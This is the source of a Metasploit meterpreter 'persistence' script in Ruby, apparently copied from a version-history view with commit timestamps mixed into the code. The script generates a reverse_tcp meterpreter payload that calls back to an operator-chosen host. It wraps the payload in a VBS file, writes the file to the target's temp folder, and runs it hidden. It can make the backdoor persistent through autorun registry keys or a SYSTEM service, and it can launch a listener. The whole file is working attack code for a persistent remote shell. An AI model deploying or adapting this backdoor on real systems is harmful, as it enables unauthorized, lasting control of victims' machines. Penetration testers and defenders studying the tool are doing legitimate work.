2017-01-29 20:10:21 +00:00
|
|
|
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
################## Variable Declarations ##################
|
|
|
|
|
|
|
|
##
|
|
|
|
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
2018-02-13 11:30:05 +00:00
|
|
|
# If you'd like to improve this script, please try to port it as a post
|
2017-01-29 20:10:21 +00:00
|
|
|
# module instead. Thank you.
|
|
|
|
##
|
|
|
|
|
|
|
|
# Meterpreter Session
|
|
|
|
@client = client
|
|
|
|
|
|
|
|
key = "HKLM"
|
|
|
|
|
|
|
|
# Default parameters for payload
|
|
|
|
rhost = Rex::Socket.source_address("1.2.3.4")
|
|
|
|
rport = 4444
|
|
|
|
delay = 5
|
|
|
|
install = false
|
|
|
|
autoconn = false
|
|
|
|
serv = false
|
|
|
|
altexe = nil
|
|
|
|
target_dir = nil
|
|
|
|
payload_type = "windows/meterpreter/reverse_tcp"
|
|
|
|
script = nil
|
|
|
|
script_on_target = nil
|
|
|
|
|
|
|
|
|
|
|
|
@exec_opts = Rex::Parser::Arguments.new(
|
|
|
|
"-h" => [ false, "This help menu"],
|
|
|
|
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
|
|
|
|
"-p" => [ true, "The port on which the system running Metasploit is listening"],
|
|
|
|
"-i" => [ true, "The interval in seconds between each connection attempt"],
|
|
|
|
"-X" => [ false, "Automatically start the agent when the system boots"],
|
|
|
|
"-U" => [ false, "Automatically start the agent when the User logs on"],
|
|
|
|
"-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"],
|
|
|
|
"-A" => [ false, "Automatically start a matching exploit/multi/handler to connect to the agent"],
|
|
|
|
"-L" => [ true, "Location in target host to write payload to, if none \%TEMP\% will be used."],
|
|
|
|
"-T" => [ true, "Alternate executable template to use"],
|
|
|
|
"-P" => [ true, "Payload to use, default is windows/meterpreter/reverse_tcp."]
|
|
|
|
)
|
|
|
|
|
|
|
|
################## Function Declarations ##################
|
|
|
|
|
|
|
|
# Usage Message Function
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
def usage
|
|
|
|
print_line "Meterpreter Script for creating a persistent backdoor on a target host."
|
|
|
|
print_line(@exec_opts.usage)
|
|
|
|
raise Rex::Script::Completed
|
|
|
|
end
|
|
|
|
|
|
|
|
# Wrong Meterpreter Version Message Function
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
def wrong_meter_version(meter)
|
|
|
|
print_error("#{meter} version of Meterpreter is not supported with this Script!")
|
|
|
|
raise Rex::Script::Completed
|
|
|
|
end
|
|
|
|
|
|
|
|
# Function for Creating the Payload
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
def create_payload(payload_type,lhost,lport)
|
|
|
|
print_status("Creating Payload=#{payload_type} LHOST=#{lhost} LPORT=#{lport}")
|
|
|
|
payload = payload_type
|
|
|
|
pay = client.framework.payloads.create(payload)
|
|
|
|
pay.datastore['LHOST'] = lhost
|
|
|
|
pay.datastore['LPORT'] = lport
|
|
|
|
return pay.generate
|
|
|
|
end
|
|
|
|
|
|
|
|
# Function for Creating persistent script
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
def create_script(delay,altexe,raw,is_x64)
|
|
|
|
if is_x64
|
|
|
|
if altexe
|
|
|
|
vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw,
|
|
|
|
{:persist => true, :delay => delay, :template => altexe})
|
|
|
|
else
|
|
|
|
vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw,
|
|
|
|
{:persist => true, :delay => delay})
|
|
|
|
end
|
|
|
|
else
|
|
|
|
if altexe
|
|
|
|
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
|
|
|
|
{:persist => true, :delay => delay, :template => altexe})
|
|
|
|
else
|
|
|
|
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
|
|
|
|
{:persist => true, :delay => delay})
|
|
|
|
end
|
|
|
|
end
|
|
|
|
print_status("Persistent agent script is #{vbs.length} bytes long")
|
|
|
|
return vbs
|
|
|
|
end
|
|
|
|
|
|
|
|
# Function for creating log folder and returning log path
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
def log_file(log_path = nil)
|
|
|
|
#Get hostname
|
|
|
|
host = @client.sys.config.sysinfo["Computer"]
|
|
|
|
|
|
|
|
# Create Filename info to be appended to downloaded files
|
|
|
|
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
|
|
|
|
|
|
|
# Create a directory for the logs
|
|
|
|
if log_path
|
|
|
|
logs = ::File.join(log_path, 'logs', 'persistence',
|
|
|
|
Rex::FileUtils.clean_path(host + filenameinfo) )
|
|
|
|
else
|
|
|
|
logs = ::File.join(Msf::Config.log_directory, 'persistence',
|
|
|
|
Rex::FileUtils.clean_path(host + filenameinfo) )
|
|
|
|
end
|
|
|
|
|
|
|
|
# Create the log directory
|
|
|
|
::FileUtils.mkdir_p(logs)
|
|
|
|
|
|
|
|
#logfile name
|
|
|
|
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
|
|
|
|
return logfile
|
|
|
|
end
|
|
|
|
|
|
|
|
# Function for writing script to target host
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
def write_script_to_target(target_dir,vbs)
|
|
|
|
if target_dir
|
|
|
|
tempdir = target_dir
|
|
|
|
else
|
|
|
|
tempdir = @client.fs.file.expand_path("%TEMP%")
|
|
|
|
end
|
|
|
|
tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
|
|
|
|
fd = @client.fs.file.new(tempvbs, "wb")
|
|
|
|
fd.write(vbs)
|
|
|
|
fd.close
|
|
|
|
print_good("Persistent Script written to #{tempvbs}")
|
|
|
|
# Escape windows pathname separators.
|
|
|
|
file_local_write(@clean_up_rc, "rm #{tempvbs.gsub(/\\/, '//')}\n")
|
|
|
|
return tempvbs
|
|
|
|
end
|
|
|
|
|
|
|
|
# Function for setting exploit/multi/handler for autocon
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
def set_handler(selected_payload,rhost,rport)
|
|
|
|
print_status("Starting connection handler at port #{rport} for #{selected_payload}")
|
|
|
|
mul = client.framework.exploits.create("multi/handler")
|
|
|
|
mul.datastore['WORKSPACE'] = @client.workspace
|
|
|
|
mul.datastore['PAYLOAD'] = selected_payload
|
|
|
|
mul.datastore['LHOST'] = rhost
|
|
|
|
mul.datastore['LPORT'] = rport
|
|
|
|
mul.datastore['EXITFUNC'] = 'process'
|
|
|
|
mul.datastore['ExitOnSession'] = false
|
|
|
|
|
|
|
|
mul.exploit_simple(
|
|
|
|
'Payload' => mul.datastore['PAYLOAD'],
|
|
|
|
'RunAsJob' => true
|
|
|
|
)
|
|
|
|
print_good("exploit/multi/handler started!")
|
|
|
|
end
|
|
|
|
|
|
|
|
# Function to execute script on target and return the PID of the process
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
def targets_exec(script_on_target)
|
|
|
|
print_status("Executing script #{script_on_target}")
|
|
|
|
proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true})
|
|
|
|
print_good("Agent executed with PID #{proc.pid}")
|
|
|
|
return proc.pid
|
|
|
|
end
|
|
|
|
|
|
|
|
# Function to install payload in to the registry HKLM or HKCU
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
def write_to_reg(key,script_on_target)
|
|
|
|
nam = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
|
|
key_path = "#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
|
|
|
|
print_status("Installing into autorun as #{key_path}\\#{nam}")
|
|
|
|
if key
|
|
|
|
registry_setvaldata("#{key_path}", nam, script_on_target, "REG_SZ")
|
|
|
|
print_good("Installed into autorun as #{key_path}\\#{nam}")
|
|
|
|
file_local_write(@clean_up_rc, "reg deleteval -k '#{key_path}' -v #{nam}\n")
|
|
|
|
else
|
|
|
|
print_error("Error: failed to open the registry key for writing")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# Function to install payload as a service
|
|
|
|
#-------------------------------------------------------------------------------
|
|
|
|
def install_as_service(script_on_target)
|
|
|
|
if not is_uac_enabled? or is_admin?
|
|
|
|
print_status("Installing as service..")
|
|
|
|
nam = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
|
|
print_status("Creating service #{nam}")
|
|
|
|
service_create(nam, nam, "cscript \"#{script_on_target}\"")
|
|
|
|
file_local_write(@clean_up_rc, "execute -H -f sc -a \"delete #{nam}\"\n")
|
|
|
|
else
|
|
|
|
print_error("Insufficient privileges to create service")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
################## Main ##################
|
|
|
|
@exec_opts.parse(args) { |opt, idx, val|
|
|
|
|
case opt
|
|
|
|
when "-h"
|
|
|
|
usage
|
|
|
|
when "-r"
|
|
|
|
rhost = val
|
|
|
|
when "-p"
|
|
|
|
rport = val.to_i
|
|
|
|
when "-i"
|
|
|
|
delay = val.to_i
|
|
|
|
when "-X"
|
|
|
|
install = true
|
|
|
|
key = "HKLM"
|
|
|
|
when "-S"
|
|
|
|
serv = true
|
|
|
|
when "-U"
|
|
|
|
install = true
|
|
|
|
key = "HKCU"
|
|
|
|
when "-A"
|
|
|
|
autoconn = true
|
|
|
|
when "-L"
|
|
|
|
target_dir = val
|
|
|
|
when "-T"
|
|
|
|
altexe = val
|
|
|
|
when "-P"
|
|
|
|
payload_type = val
|
|
|
|
end
|
|
|
|
}
|
|
|
|
|
|
|
|
# Check for Version of Meterpreter
|
|
|
|
unless client.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(client.arch)
|
|
|
|
wrong_meter_version(client.session_type)
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Running Persistence Script")
|
|
|
|
# Create undo script
|
|
|
|
@clean_up_rc = log_file()
|
|
|
|
print_status("Resource file for cleanup created at #{@clean_up_rc}")
|
|
|
|
# Create and Upload Payload
|
|
|
|
raw = create_payload(payload_type, rhost, rport)
|
|
|
|
script = create_script(delay, altexe, raw, payload_type.include?('/x64/'))
|
|
|
|
script_on_target = write_script_to_target(target_dir, script)
|
|
|
|
|
|
|
|
# Start exploit/multi/handler
|
|
|
|
if autoconn
|
|
|
|
set_handler(payload_type, rhost, rport)
|
|
|
|
end
|
|
|
|
|
|
|
|
# Execute on target host
|
|
|
|
targets_exec(script_on_target)
|
|
|
|
|
|
|
|
# Install in registry
|
|
|
|
if install
|
|
|
|
write_to_reg(key,script_on_target)
|
|
|
|
end
|
|
|
|
|
|
|
|
# Install as a service
|
|
|
|
if serv
|
|
|
|
install_as_service(script_on_target)
|
|
|
|
end
|
|
|
|
|